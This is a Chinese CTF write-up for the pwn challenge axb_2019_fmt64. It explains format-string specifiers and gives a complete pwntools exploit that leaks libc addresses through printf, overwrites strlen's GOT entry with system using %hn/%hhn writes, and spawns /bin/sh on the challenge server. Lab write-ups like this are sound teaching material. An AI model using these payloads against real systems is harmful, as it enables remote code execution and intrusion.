axb_2019_fmt64


知识点:

格式符 作用
%x 打印栈上的4字节数据(十六进制)
%s 打印栈上指针指向的字符串
%n 写已打印字符数到对应指针指向的地址
%p 打印指针值(地址)
%d 打印十进制整数
%c 输出一个字符

格式化字符串漏洞修改内存:
通过控制输出字符数来间接修改内存:
利用%n系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。
这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n写入预期的值。
(不是直接修改数值)

  • %c:输出一个字符。
  • %n:将当前已输出的字符总数写入指定地址。
  • %k$hn:将字符总数写入第 k 个参数指向的地址(hn 表示写入 2 字节)。
    零截断影响函数:
函数原型 是否受零截断 备注 / 利用提示
puts(const char *s) ✅ 会截断 最常用来泄露地址;若读入时没有 \x00,就会把后面一大片内存一起打印出来。
printf("%s", buf) ✅ 会截断 %s 格式串遇到 \x00 停止;可用 %p/%lx 等替代来逐字节泄露。
write(1, buf, len) ❌ 不截断 按长度写,无视 \x00;若程序里有 write,可直接泄露任意长度。
send() / sendto() ❌ 不截断 网络题里常见,同样按长度发送。
read() / recv() ❌ 不截断 读入端函数,不受零截断影响,但读入后传给 puts/printf 就又受限了。
strlen() ✅ 遇 \x00 计算长度函数,本身不输出,但经常被用来给 write 传长度,若可控可绕过零截断。
strcpy(dst, src) strncpy(dst, src, n) ✅ 受 \x00 影响 复制类函数,遇 \x00 停止,可导致数据截断或溢出。

准备


64位,开了 NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char s[272]; // [rsp+10h] [rbp-250h] BYREF
char format[312]; // [rsp+120h] [rbp-140h] BYREF
unsigned __int64 v5; // [rsp+258h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts(
"Hello,I am a computer Repeater updated.\n"
"After a lot of machine learning,I know that the essence of man is a reread machine!");
puts("So I'll answer whatever you say!");
while ( 1 )
{
alarm(3u);
memset(s, 0, 0x101uLL);
memset(format, 0, 0x12CuLL);
printf("Please tell me:");
read(0, s, 0x100uLL);
sprintf(format, "Repeater:%s\n", s);
if ( (unsigned int)strlen(format) > 0x10E )
break;
printf(format);
}
printf("what you input is really long!");
exit(0);
}

这里对输入次数没限制,每次输入有一个 3 秒的计时
先一个输入给参数 s ,然后用 sprintf 把输入拼接到 Repeater: 后给参数 format
下面虽然有 if 判断,但限制大小给的很大,所以这里限制不大
最后输出,存在格式化字符串漏洞

思路:

这里有格式化字符串漏洞,可以多次触发,没直接的连接点
所以我们要利用格式化字符串泄露函数地址,得到 libc 基址和 system 函数地址
最后劫持 strlengot 表为 system 来获得 shell
(这里我是只能用 strlen 函数才打得通,所以就这了(苦笑))
先获得偏移(写入地址)

参数位置为8
接下来利用格式化字符串泄露函数地址,我原本想的是泄露 printf 函数的地址,但泄露失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux',log_level = 'debug')
# io=remote('node5.buuoj.cn',25625)
io= process('/home/motaly/axb')
elf = ELF('/home/motaly/axb')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

printf_got = elf.got["printf"]
# gdb.attach(io,'b *0x400957\nc')
payload=b'%9$saaaa'+p64(printf_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
printf_addr=u64(io.recv(6).ljust(8,b'\x00'))
# printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
log.success('printf_addr: '+hex(printf_addr))

数据解释:
b'%9$saaaa' 这个写在第8个位置,9 是后面加上的 p64(printf_got) 在第 9 个位置,我们对函数地址进行泄露
断点在 printf


进行 gdb 调试
查看栈情况 stack 50

发现是零截断的问题,所以这里泄露常用的 puts 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os='linux',log_level = 'debug')
io=remote('node5.buuoj.cn',29696)
# io= process('/home/motaly/axb')
elf = ELF('/home/motaly/axb')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')

strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
# printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
log.success('puts_addr: '+hex(puts_addr))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))
# printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
log.success('strlen_addr: '+hex(strlen_addr))

最后劫持 strlen 函数,这里一起泄露 strlen 函数的地址方便最后修改的时候查看
有了函数地址,我们就可以得到 libc 基址和 system 函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
# printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
log.success('puts_addr: '+hex(puts_addr))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))
# printf_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
log.success('strlen_addr: '+hex(strlen_addr))

libc_base=puts_addr-libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
system_addr=libc_base+libc.sym['system']
log.success('system_addr: ' + hex(system_addr))

最后劫持 strlen 函数的 got 表为 system 函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']


log.success('puts_addr: '+hex(puts_addr))
log.success('strlen_addr: '+hex(strlen_addr))
log.success('libc_base: ' + hex(libc_base))
log.success('system_addr: ' + hex(system_addr))

highs = (system_addr >> 16) & 0xffff
lows = system_addr & 0xffff
log.success('highs: ' + hex(highs))
log.success('lows: ' + hex(lows))


主要的不同在后三个字节,所以这里把最后两字节算低字节,用 hn 修改两个字节,倒数三四个字节当作高字节,用 hhn 修改一个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']


log.success('puts_addr: '+hex(puts_addr))
log.success('strlen_addr: '+hex(strlen_addr))
log.success('libc_base: ' + hex(libc_base))
log.success('system_addr: ' + hex(system_addr))

highs = (system_addr >> 16) & 0xffff
lows = system_addr & 0xffff
log.success('highs: ' + hex(highs))
log.success('lows: ' + hex(lows))

payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode()
print(len(payload0))
payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)


这里构造的长度为 27,我们填充满 32 字节,正好 4 个位置,从 8 开始,最后的 p64(strlen_got+2)p64(strlen_got) 正好在 12 和 13 位
最后因为拼接,所以给一个 ';/bin/sh\\x00' 加上分号,让他按顺序执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']


log.success('puts_addr: '+hex(puts_addr))
log.success('strlen_addr: '+hex(strlen_addr))
log.success('libc_base: ' + hex(libc_base))
log.success('system_addr: ' + hex(system_addr))

highs = (system_addr >> 16) & 0xffff
lows = system_addr & 0xffff
log.success('highs: ' + hex(highs))
log.success('lows: ' + hex(lows))

payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode()
print(len(payload0))
payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.sendlineafter(b'Please tell me:',b';/bin/sh\x00')

脚本

(不知道为什么这个打通的挺不稳定的,一会可以,一会不可以,奇奇怪怪的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.buuoj.cn',29696)
# io= process('/home/motaly/axb')
elf = ELF('/home/motaly/axb')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')

strlen_got=elf.got['strlen']
puts_got = elf.got["puts"]
# gdb.attach(io,'b *0x400957\nc')

payload=b'%9$saaaa'+p64(puts_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))

payload=b'%9$saaaa'+p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.recvuntil(b'Repeater:')
strlen_addr=u64(io.recv(6).ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']


log.success('puts_addr: '+hex(puts_addr))
log.success('strlen_addr: '+hex(strlen_addr))
log.success('libc_base: ' + hex(libc_base))
log.success('system_addr: ' + hex(system_addr))

highs = (system_addr >> 16) & 0xffff
lows = system_addr & 0xffff
log.success('highs: ' + hex(highs))
log.success('lows: ' + hex(lows))

payload0=(f'%{highs-9}c%12$hhn'+f'%{lows - highs}c%13$hn').encode()
print(len(payload0))
payload=payload0.ljust(32, b"a") + p64(strlen_got+2) + p64(strlen_got)
io.sendlineafter(b'Please tell me:',payload)
io.sendlineafter(b'Please tell me:',b';/bin/sh\x00')
io.interactive()